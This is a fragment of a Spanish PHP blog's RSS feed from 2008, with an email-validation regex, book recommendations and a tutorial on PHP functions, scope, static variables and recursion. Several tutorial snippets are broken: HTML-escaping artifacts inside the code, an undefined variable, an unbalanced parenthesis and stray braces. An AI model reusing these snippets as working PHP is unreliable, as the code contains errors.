<li><a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/funciones/zen_general.php?op=file&amp;rev=0&amp;sc=0" target="_blank">Filtros</a> para comprobar que una cadena es un correo electrónico:
<p id="contenedor">&nbsp;</p>
<p id="codigo"><code><font color="#0000bb">&lt;?php</font></code><font color="#ff8000"><br />
/**</font></p>
<p><font color="#ff8000"> * Utiliza una expresion regular para comprobar que el $correo pasado es realmente un correo electronico</font></p>
<p><font color="#ff8000"> *</font></p>
<p><font color="#ff8000"> * @param str $correo</font></p>
<p><font color="#ff8000"> * @return bool</font></p>
<p><font color="#ff8000"> */</font></p>
<p><font color="#007700">function </font><font color="#0000bb">zen_es_correo</font><font color="#007700">(</font><font color="#0000bb">$correo</font><font color="#007700">){</font></p>
<p><font color="#007700">    return </font><font color="#0000bb">preg_match</font><font color="#007700">(</font></p>
<p><font color="#007700">    </font><font color="#dd0000">&#8216;/^[\ a-z0-9._-]+@[a-z0-9.-]+\.[a-z]{2,6}$/i'</font><font color="#007700">,</font></p>
<p><font color="#007700">    </font><font color="#0000bb">$correo</font></p>
<p><font color="#0000bb">    </font><font color="#007700">);</font></p>
<p><font color="#007700">}</font></p>
<p><font color="#0000bb">?&gt;</font></p>
</li>
<li><a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/funciones/zen_fechas.php?op=file&amp;rev=0&amp;sc=0" target="_blank">Funciones para procesar fechas</a></li>
</ul>
<p>etc.</p>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=66</wfw:commentRss>
		</item>
		<item>
		<title>PCQHQUPPVLS vol.1</title>
		<link>http://granadaphp.agenciaq4.com/?p=65</link>
		<comments>http://granadaphp.agenciaq4.com/?p=65#comments</comments>
		<pubDate>Tue, 22 Apr 2008 08:58:11 +0000</pubDate>
		<dc:creator>pabloko</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=65</guid>
		<description><![CDATA[PCQHQUPPVLS=Pequeñas cosas que hacen que un programador pueda ver luz solar xD
Via RSS me ha llegado una lista con javascript de todas las provincias Españolas Y TODAS LAS LOCALIDADES!!!!
Imprescindible en tiendas online, catalogos o similares
http://www.midiariodigital.com/provinciasesp.htm
(este post se irá ampliando en los proximos dias)
]]></description>
			<content:encoded><![CDATA[<p>PCQHQUPPVLS=Pequeñas cosas que hacen que un programador pueda ver luz solar xD</p>
<p>Via RSS me ha llegado una lista con javascript de todas las provincias Españolas Y TODAS LAS LOCALIDADES!!!!</p>
<p>Imprescindible en tiendas online, catalogos o similares</p>
<p>http://www.midiariodigital.com/provinciasesp.htm</p>
<p>(este post se irá ampliando en los proximos dias)</p>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=65</wfw:commentRss>
		</item>
		<item>
		<title>Libros para continuar cuando ya crees que te lo sabes todo de PHP</title>
		<link>http://granadaphp.agenciaq4.com/?p=62</link>
		<comments>http://granadaphp.agenciaq4.com/?p=62#comments</comments>
		<pubDate>Thu, 10 Apr 2008 21:00:52 +0000</pubDate>
		<dc:creator>juan_belon</dc:creator>
		
		<category><![CDATA[Libros]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=62</guid>
		<description><![CDATA[Cuando has llegado a ciertos niveles de conocimientos de programación muy altos, &#8230;como mientras escribes un sistema gestor de contenidos después de escribir un framework completo XDD puedes encontrar muy útiles los siguientes libros:

Php And MySQL Web Development (3ª Edición) de Luke Welling &#38; Laura Thomson, Editorial Developer's Library.

Rails for PHP Developers,de Derek DeVries y [...]]]></description>
			<content:encoded><![CDATA[<p>Cuando has llegado a ciertos niveles de conocimientos de programación muy <strong>altos</strong>, &#8230;como mientras escribes un sistema gestor de contenidos después de escribir un framework completo XDD puedes encontrar muy útiles los siguientes libros:
<ul>
<li><a href="http://safari.oreilly.com/0672326728" title="ir a ver el libro" target="_blank">Php And MySQL Web Development (3ª Edición) de Luke Welling &amp; Laura Thomson, Editorial Developer's Library.</a><br />
<img src="/imagenes/php_mysql_web_dev.jpg" border="0" height="240" width="241" /></li>
<li><a href="http://www.pragprog.com/titles/ndphpr" title="Ir a ver el libro" target="_blank">Rails for PHP Developers,de Derek DeVries y Mike Naberezny, Editorial "The Pragmatic Programmers"</a><br />
<img src="/imagenes/rrails_php.gif" border="0" height="286" width="244" /></li>
<li><a href="http://www.oreilly.com/catalog/9781593271732/" title="Ir a ver el libro" target="_blank">Wicked Cool PHP de William Steinmetz y Brian Ward</a><br />
<img src="/imagenes/wicked_cool.gif" border="0" height="305" width="240" /></li>
</ul>
<p>El primero es genial, empieza introduciendo el ámbito de la construcción del acueducto de Segobia, la compara,evidentemente con un proyecto bien hecho, así pueden pasar hasta 2mil años y no lo tira ni las catástrofes medioambientales <img src='http://granadaphp.agenciaq4.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
Es una muy buena ayuda, estoy leyéndolo como apoyo para construir el sistema gestor de contenidos de zenphp basado en el framework del mismo. Algo muy lírico, fácil de leer, en inglés pero amigable <img src='http://granadaphp.agenciaq4.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <strong>Recomendación</strong>!<br />
El segundo es una guía para los programadores PHP para ver lo fácil que resulta pasar código de PHP a Ruby On Rails&#8230;aún no me llama mucho la atención ,es más que nada una curiosidad que puede acabar en que me pase completamente a RoR <img src='http://granadaphp.agenciaq4.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Por último, una pieza muy singular, lo he visto justo cuando me iba y al leer lo primero que he visto me ha parecido estupendo, es un libro para los que ya saben PHP, para hacer las cosas más simples&#8230;por qué hacer algo complejo cuando haciéndolo simple se puede hacer antes! <img src='http://granadaphp.agenciaq4.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <strong>Recomendación!! </strong></p>
<p>Hasta aquí los libros del comienzo del año. Seguid atentos a las pantallas!</p>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=62</wfw:commentRss>
		</item>
		<item>
		<title>Todo sobre Funciones en PHP</title>
		<link>http://granadaphp.agenciaq4.com/?p=61</link>
		<comments>http://granadaphp.agenciaq4.com/?p=61#comments</comments>
		<pubDate>Mon, 07 Apr 2008 11:08:11 +0000</pubDate>
		<dc:creator>juan_belon</dc:creator>
		
		<category><![CDATA[Técnicas]]></category>

		<category><![CDATA[Funciones]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=61</guid>
		<description><![CDATA[He considerado oportuno explicar desde las cosas más básicas y sencillas con respecto a las funciones hasta las más complejas, ya que nos pueden ahorrar inventarnos otros mecanismos más inadecuados si no conocemos las maravillosas características que se pueden tener un método o función bien construido. Empecemos pues por lo más fácil y vayamos aumentando [...]]]></description>
			<content:encoded><![CDATA[<p>He considerado oportuno explicar desde las cosas más básicas y sencillas con respecto a las funciones hasta las más complejas, ya que nos pueden ahorrar inventarnos otros mecanismos más inadecuados si no conocemos las maravillosas características que se pueden tener un método o función bien construido. Empecemos pues por lo más fácil y vayamos aumentando el nivel</p>
<p><strong>Declarar una función simple: </strong>desde PHP4 se pueden declarar antes y después del lugar donde es llamada.<strong>
<div id="phpizer_div_1" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">imprimirNegrita</span><span style="color: #007700">(</span><span style="color: #0000BB">$texto</span><span style="color: #007700">){<br />
echo&nbsp;</span><span style="color: #DD0000">"&lt;b&gt;$texto&lt;/b&gt;"</span><span style="color: #007700">;<br />
}<br />
echo&nbsp;</span><span style="color: #DD0000">"Linea&nbsp;sin&nbsp;negrita&lt;br&nbsp;/&gt;"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">imprimirNegrita</span><span style="color: #007700">(</span><span style="color: #DD0000">"Linea&nbsp;en&nbsp;negrita&lt;br&nbsp;/&gt;"</span><span style="color: #007700">);<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p><strong>La sentencia return</strong><br />
En un punto de la función se encontrará en un estado final y dispuesta a devolverle el control a quien la llamó, por ejemplo cuando llega al final del bloque de código de  la función, la ejecución coge entonces la línea siguiente de aquella donde fue llamada. Otra forma de para la ejecución de la función es usar la sentencia <strong>return</strong>. Seguramente existirán varias en una función, pero usar demasiados puede ser una barrera para comprender el flujo de la ejecución y hace más difícil la lectura del código. Lo ideal es tener una entrada y una salida pero en la práctica hay casos en los que es más que aceptable tener múltiples sentencias return.
<div id="phpizer_div_2" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">hacerNegrita</span><span style="color: #007700">(</span><span style="color: #0000BB">$texto</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">$texto&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"&lt;b&gt;$texto&lt;/b&gt;"</span><span style="color: #007700">;<br />
return&nbsp;</span><span style="color: #0000BB">$texto</span><span style="color: #007700">;<br />
}<br />
echo&nbsp;</span><span style="color: #DD0000">"Linea&nbsp;sin&nbsp;negrita&lt;br&nbsp;/&gt;"</span><span style="color: #007700">;<br />
echo&nbsp;</span><span style="color: #0000BB">hacerNegrita</span><span style="color: #007700">(</span><span style="color: #DD0000">"Linea&nbsp;en&nbsp;negrita&lt;br&nbsp;/&gt;"</span><span style="color: #007700">);<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p><strong>Paso por referencia y por valor:</strong><br />
Para la mayor parte de los tipos de datos ,las variables pasadas como argumentos de la función se hacen por valor, en PHP4 se puede forzar a pasarlos por referencia mediante el uso de "&amp;" justo antes del nombre de la variable: "&amp;$variable". Las funciones también disponen de esta característica si realizamos algo como lo siguiente:
<div id="phpizer_div_3" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">function&nbsp;&amp;</span><span style="color: #0000BB">amp</span><span style="color: #007700">;</span><span style="color: #0000BB">obtenerMatrizAleatoria</span><span style="color: #007700">(){<br />
</span><span style="color: #0000BB">$matriz&nbsp;</span><span style="color: #007700">=&nbsp;array();<br />
for&nbsp;(&nbsp;</span><span style="color: #0000BB">$i</span><span style="color: #007700">=</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">10</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i</span><span style="color: #007700">++&nbsp;){<br />
</span><span style="color: #0000BB">$a</span><span style="color: #007700">[]&nbsp;=&nbsp;</span><span style="color: #0000BB">rand</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">,</span><span style="color: #0000BB">100</span><span style="color: #007700">);<br />
}</p>
<p>return&nbsp;</span><span style="color: #0000BB">$a</span><span style="color: #007700">;<br />
}</p>
<p></span><span style="color: #0000BB">$nuevaMatriz&nbsp;</span><span style="color: #007700">=&amp;</span><span style="color: #0000BB">amp</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">obtenerMatrizAleatoria</span><span style="color: #007700">();<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p>Sin embargo, hay que tener en cuenta que el uso de &amp; estará "vetado" a partir de PHP6.x o superiores y si usamos la referencia con una sentencia new aparecerá un error de tipo STRICT a partir de la versión 5 de PHP.
<div id="phpizer_div_4" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">class&nbsp;</span><span style="color: #0000BB">MiClase&nbsp;</span><span style="color: #007700">{<br />
</span><span style="color: #FF8000">/**&nbsp;Constructor&nbsp;de&nbsp;MiClase&nbsp;*/<br />
</span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">MiClase</span><span style="color: #007700">(){}<br />
}<br />
</span><span style="color: #0000BB">$c&nbsp;</span><span style="color: #007700">=&amp;</span><span style="color: #0000BB">amp</span><span style="color: #007700">;&nbsp;new&nbsp;</span><span style="color: #0000BB">MiClase</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//Devuelve&nbsp;"deprecated"&nbsp;en&nbsp;PHP5.x+<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p><strong>Ámbitos<br />
El ámbito ,también llamado "scope", se creaó para evitar colisiones entre variables de diferentes funcione, PHP incluye dicha noción de ámbito. Cada línea de código pertenece a un determinado "scope". El código dentro de una función se considera que pertenece al ámbito de la propia función. El código fuera de la función pertenece al ámbito global del fichero. El ámbito es la propiedad que determina qué tabla de memoria se usa para almacenar las variables y alternativamente qué variables son accesibles. Por lo tanto ,las variables de una función son locales a ésta,por lo que no se podrán modificar desde fuera de ella ya que son de propiedad privada. Sin embargo las variables globales fuera de la función han de declararse como globales accesibles por medio de la sentencia "global" antes del nombre de variable, ejemplo: "global $mivariable" es accesible en una función si realizamos dicho acceso de la variable declarada fuera:
<div id="phpizer_div_5" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br />$ciudad&nbsp;&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Granada"</span><span style="color: #007700">;<br />
function&nbsp;</span><span style="color: #0000BB">miCiudad</span><span style="color: #007700">(){<br />
global&nbsp;</span><span style="color: #0000BB">$ciudad</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">mostrarCiudad</span><span style="color: #007700">(</span><span style="color: #0000BB">$ciudad</span><span style="color: #007700">);<br />
}<br />
function&nbsp;</span><span style="color: #0000BB">mostrarCiudad</span><span style="color: #007700">(</span><span style="color: #0000BB">$nombre</span><span style="color: #007700">){<br />
echo&nbsp;</span><span style="color: #DD0000">"La&nbsp;ciudad&nbsp;seleccionada&nbsp;es&nbsp;:"</span><span style="color: #007700">.</span><span style="color: #0000BB">$nombre</span><span style="color: #007700">.</span><span style="color: #DD0000">"&lt;br&nbsp;/&gt;"</span><span style="color: #007700">;<br />
}<br />
function&nbsp;</span><span style="color: #0000BB">OtraCiudad</span><span style="color: #007700">(){<br />
</span><span style="color: #0000BB">$ciudad&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Sevilla"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">mostrarCiudad</span><span style="color: #007700">(</span><span style="color: #0000BB">$ciudad</span><span style="color: #007700">);<br />
}<br />
</span><span style="color: #0000BB">miCiudad</span><span style="color: #007700">();<br />
</span><span style="color: #0000BB">OtraCiudad</span><span style="color: #007700">();</p>
<p>}<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p>Cuando se ejecuta el script se muestra Granada y Sevilla en ese orden. Aunque hayamos modificado $ciudad dentro de la función OtraCiudad() ,no es la misma que la del ámbito global.</p>
<p>La sentencia <em>global</em> lleva una variable a un espacio de nombres de una función,desde ese momento se puede modificar dentro o fuera de aquella. Así es posible referenciar la variable a través del array <em>$_GLOBALS </em>donde se indexan por el nombre, de forma que podríamos acceder a "global $ciudad" por medio de "$_GLOBALS['ciudad']".</p>
<p><strong>Variables estáticas</strong><br />
Recordemos que cuando creamos una variable dentro de una función sólo existe mientras la función se esté ejecutando. Una vez que la ejecución finalice y se pase el control al proceso que realizó la llamada, todo el espacio de variables para esa función es borrado, a veces esto no es lo deseable porque necesitamos que la función recuerde el último estado de las variables entre llamadas, esto se puede implementar por medio del uso de la sentencia "static".<br />
En el comienzo de la función antes de los comandos debes declarar las variables que van a ser estáticas,entonces mantendrán su valor incluso después de abandonar la función. Veamos un ejemplo sencillo para usar esto (alternar colores de las celdas de una tabla):
<div id="phpizer_div_6" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">alternarColor</span><span style="color: #007700">(){<br />
</span><span style="color: #FF8000">//Recordar&nbsp;Color&nbsp;usado<br />
</span><span style="color: #007700">static&nbsp;</span><span style="color: #0000BB">$color&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"#00FF00&#8243;</span><span style="color: #007700">;<br />
if&nbsp;(</span><span style="color: #0000BB">$color</span><span style="color: #007700">==</span><span style="color: #DD0000">"#00FF00&#8243;</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">$color&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"#CCFFCC"</span><span style="color: #007700">;<br />
}&nbsp;else&nbsp;{<br />
</span><span style="color: #0000BB">$color&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"#00FF00&#8243;</span><span style="color: #007700">;<br />
}<br />
return&nbsp;</span><span style="color: #0000BB">$color</span><span style="color: #007700">;<br />
}<br />
echo&nbsp;</span><span style="color: #DD0000">&#8216;&lt;table&gt;'</span><span style="color: #007700">;<br />
for&nbsp;(</span><span style="color: #0000BB">$i</span><span style="color: #007700">=</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">11</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i</span><span style="color: #007700">++){<br />
</span><span style="color: #0000BB">$color&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">alternarColor</span><span style="color: #007700">();<br />
</span><span style="color: #FF8000">//Mostrar&nbsp;la&nbsp;fila&nbsp;en&nbsp;el&nbsp;color&nbsp;alternado:<br />
</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">&#8216;&lt;tr&gt;&lt;td&nbsp;bgcolor="&#8216;</span><span style="color: #007700">.</span><span style="color: #0000BB">$color</span><span style="color: #007700">.</span><span style="color: #DD0000">&#8216;"&gt;Fila&nbsp;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$i</span><span style="color: #007700">.</span><span style="color: #DD0000">&#8216;&lt;/td&gt;'</span><span style="color: #007700">.</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">;<br />
}<br />
echo&nbsp;</span><span style="color: #DD0000">&#8216;&lt;/table&gt;'</span><span style="color: #007700">;<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p><strong>Argumentos</strong><br />
Cuando se declara una función es posible que necesitemos usar argumentos dentro del paréntesis y separados por comas, si se usa el operador &amp; se pasan por referencia (se pasa la dirección de memoria de la variable desde la llamada) y si no se especifica se pasan por valor (se hace una copia de la variable), los cambios realizados sólo permanecen después de salir de la función con el paso por referencia.<br />
Un argumento puede tener un valor por defecto, esto se hace con una asignación (usando el "=" ) al especificar el nombre de variable dentro del paréntesis de la declaración de la función, ejemplo:
<div id="phpizer_div_7" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">mostrarColor</span><span style="color: #007700">(</span><span style="color: #0000BB">$texto</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$color</span><span style="color: #007700">=</span><span style="color: #DD0000">"black"</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">amp</span><span style="color: #007700">;</span><span style="color: #0000BB">$cuenta</span><span style="color: #007700">=</span><span style="color: #0000BB">NULL</span><span style="color: #007700">){<br />
echo&nbsp;</span><span style="color: #DD0000">&#8216;&lt;span&nbsp;style="color:'</span><span style="color: #007700">.</span><span style="color: #0000BB">$black</span><span style="color: #007700">.</span><span style="color: #DD0000">&#8216;;"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$texto</span><span style="color: #007700">.</span><span style="color: #DD0000">&#8216;&lt;/span&gt;'</span><span style="color: #007700">;<br />
</span><span style="color: #FF8000">//La&nbsp;función&nbsp;isset()&nbsp;comprueba&nbsp;que&nbsp;$cuenta&nbsp;no&nbsp;tenga&nbsp;un&nbsp;valor&nbsp;NULL&nbsp;(nulo).<br />
</span><span style="color: #007700">if&nbsp;(isset(</span><span style="color: #0000BB">$cuenta</span><span style="color: #007700">)&nbsp;&amp;</span><span style="color: #0000BB">amp</span><span style="color: #007700">;&amp;</span><span style="color: #0000BB">amp</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">is_numeric</span><span style="color: #007700">(</span><span style="color: #0000BB">$cuenta</span><span style="color: #007700">))&nbsp;</span><span style="color: #0000BB">$cuenta&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">intval</span><span style="color: #007700">(</span><span style="color: #0000BB">$cuenta</span><span style="color: #007700">)+</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />
}</p>
<p></span><span style="color: #0000BB">mostrarColor</span><span style="color: #007700">(</span><span style="color: #DD0000">"Texto&nbsp;en&nbsp;negro"</span><span style="color: #007700">).</span><span style="color: #DD0000">&#8216;&lt;br&nbsp;/&gt;'</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">mostrarColor</span><span style="color: #007700">(</span><span style="color: #DD0000">"Texto&nbsp;en&nbsp;azul"</span><span style="color: #007700">,</span><span style="color: #DD0000">"blue"</span><span style="color: #007700">).</span><span style="color: #DD0000">&#8216;&lt;br&nbsp;/&gt;'</span><span style="color: #007700">;<br />
</span><span style="color: #FF8000">//Ahora&nbsp;declaramos&nbsp;$c&nbsp;para&nbsp;pasársela&nbsp;como&nbsp;argumento&nbsp;a&nbsp;la&nbsp;función:<br />
</span><span style="color: #0000BB">$c&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">mostrarColor</span><span style="color: #007700">(</span><span style="color: #DD0000">"Texto&nbsp;en&nbsp;rojo&nbsp;con&nbsp;cuenta"</span><span style="color: #007700">,</span><span style="color: #DD0000">"red"</span><span style="color: #007700">,</span><span style="color: #0000BB">$c</span><span style="color: #007700">).</span><span style="color: #DD0000">&#8216;&lt;br&nbsp;/&gt;'</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">mostrarColor</span><span style="color: #007700">(</span><span style="color: #DD0000">"Texto&nbsp;en&nbsp;verde&nbsp;con&nbsp;cuenta"</span><span style="color: #007700">,</span><span style="color: #DD0000">"green"</span><span style="color: #007700">,</span><span style="color: #0000BB">$c</span><span style="color: #007700">).</span><span style="color: #DD0000">&#8216;&lt;br&nbsp;/&gt;'</span><span style="color: #007700">;<br />
echo&nbsp;</span><span style="color: #DD0000">"Cuenta&nbsp;total:&nbsp;$c&nbsp;&lt;br&nbsp;/&gt;"</span><span style="color: #007700">;<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p>La cuenta ha de tener 2 al final de la ejecución.</p>
<p><strong>Funciones para recuperar propiedades de una función</strong><br />
Podemos acceder a los argumentos por su posición usando tres funciones:
<ul>
<li>func_get_arg($numero_argumento): el primer argumento tiene índice 0.</li>
<li>func_get_args(): el primer argumento también tiene índice 0.</li>
<li>func_num_args(): devuelve el número de argumentos de una función</li>
</ul>
<p>Ejemplo para usar estas funciones:
<div id="phpizer_div_8" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">crearLista</span><span style="color: #007700">(){<br />
echo&nbsp;</span><span style="color: #DD0000">"&lt;ol&gt;\n"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">$n&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">func_num_args</span><span style="color: #007700">();<br />
for&nbsp;(</span><span style="color: #0000BB">$i</span><span style="color: #007700">=</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">$n&nbsp;</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i</span><span style="color: #007700">++&nbsp;)&nbsp;{<br />
echo&nbsp;</span><span style="color: #DD0000">"&lt;li&gt;"</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">func_get_arg</span><span style="color: #007700">(</span><span style="color: #0000BB">$i</span><span style="color: #007700">).</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">;<br />
}<br />
echo&nbsp;</span><span style="color: #DD0000">"&lt;/ol&gt;\n"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">crearLista</span><span style="color: #007700">(</span><span style="color: #DD0000">"GNU/Linux"</span><span style="color: #007700">,</span><span style="color: #DD0000">"Apache"</span><span style="color: #007700">,</span><span style="color: #DD0000">"MySQL"</span><span style="color: #007700">,</span><span style="color: #DD0000">"PHP"</span><span style="color: #007700">,</span><span style="color: #DD0000">"XML"</span><span style="color: #007700">);<br />
}<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p>Para recuperar los nombres de las clases existe "get_class($variable_instancia_objeto)" que devuelve el nombre como una cadena, para obtener sus métodos en un array de los nombres de los métodos de la clase, usa "get_class_methods($nombre_clase)" o la alternativa con el objeto: "get_class_methods($variable_instancia_objeto)". Para obtener las variables de una clase en un array , usa "get_class_vars($nombre_clase)" y la variante para el objeto instanciado es "get_object_vars($variable_instancia_objeto)". Además podemos recuperar el nombre del padre de la clase con "get_parent_class($variable_instancia_objeto)" o bien con "get_parent_class($nombre_clase)". Quizás una útil función es "is_a(object $instancia, string $clase)", que sirve para comprobar si una determinada variable $instancia de objeto es del tipo especificado en la cadena $clase. De hecho, si la clase ha heredado de otra se pueden comprobar con "is_subclass_of(object $instancia, string $nombre_clase)", por último para comprobar si existe un método en la instancia de un objeto dado: boolean method_exists(object $instancia, string $nombre_metodo)".</p>
<p><strong>Recursividad</strong><br />
¡Qué sería de las funciones sin la recursividad! . Nuestras funciones hacen llamadas a otras funciones y estas al mismo tiempo pueden hacer llamadas a si mismas. El proceso de una función que se llama a sí misma se llama Recursividad. Esta definición circular lleva a la elegancia del diseño de algoritmos, también se puede definir como la solución a  un problema que se subdivide en subproblemas más pequeños varias veces. Son muy comunes en Matemáticas, ejemplo: la serie de Fibonacci. En <a href="https://forja.rediris.es/projects/csl2-zenphp/">zenphp</a> podemos encontrar funciones implementadas que usan esta técnica [<a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/funciones/zen_algoritmos.php?op=file&amp;rev=0&amp;sc=0" title="Ver algoritmos con recursividad" target="_blank">ver</a>]. A veces puede resultar complejo comprender un algoritmo recursivo y nos lleva un tiempo realizar la traza de la ejecución. Se suele utilizar por motivos de eficiencia, ya que 10 llamadas en PHP necesita mantener 10 copias es necesario que nos ocupemos manualmente de las variables&#8230;</p>
<p>Ejemplo de uso de la recursión en una función:
<div id="phpizer_div_9" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">comprobarEntero</span><span style="color: #007700">(</span><span style="color: #0000BB">$numero</span><span style="color: #007700">){<br />
if&nbsp;(</span><span style="color: #0000BB">$numero&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">){<br />
return&nbsp;</span><span style="color: #0000BB">comprobarEntero</span><span style="color: #007700">(</span><span style="color: #0000BB">$numero</span><span style="color: #007700">-</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />
}&nbsp;elseif&nbsp;(</span><span style="color: #0000BB">$numero&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">){<br />
return&nbsp;</span><span style="color: #0000BB">comprobarEntero</span><span style="color: #007700">((-</span><span style="color: #0000BB">1</span><span style="color: #007700">)*</span><span style="color: #0000BB">$numero</span><span style="color: #007700">-</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">;<br />
}&nbsp;else&nbsp;{<br />
if&nbsp;(</span><span style="color: #0000BB">$numero&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0&nbsp;&nbsp;</span><span style="color: #007700">&amp;</span><span style="color: #0000BB">amp</span><span style="color: #007700">;&amp;</span><span style="color: #0000BB">amp</span><span style="color: #007700">;&nbsp;&nbsp;</span><span style="color: #0000BB">$numero&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;return&nbsp;</span><span style="color: #DD0000">"No"</span><span style="color: #007700">;<br />
else&nbsp;return&nbsp;</span><span style="color: #DD0000">"Si"</span><span style="color: #007700">;<br />
}<br />
}</p>
<p>echo&nbsp;</span><span style="color: #DD0000">"Es&nbsp;0&nbsp;un&nbsp;entero?"</span><span style="color: #007700">.</span><span style="color: #0000BB">comprobarEntero</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">).</span><span style="color: #DD0000">"&lt;br&gt;"</span><span style="color: #007700">;<br />
echo&nbsp;</span><span style="color: #DD0000">"Es&nbsp;7&nbsp;un&nbsp;entero?"</span><span style="color: #007700">.</span><span style="color: #0000BB">comprobarEntero</span><span style="color: #007700">(</span><span style="color: #0000BB">7</span><span style="color: #007700">).</span><span style="color: #DD0000">"&lt;br&nbsp;/&gt;"</span><span style="color: #007700">;<br />
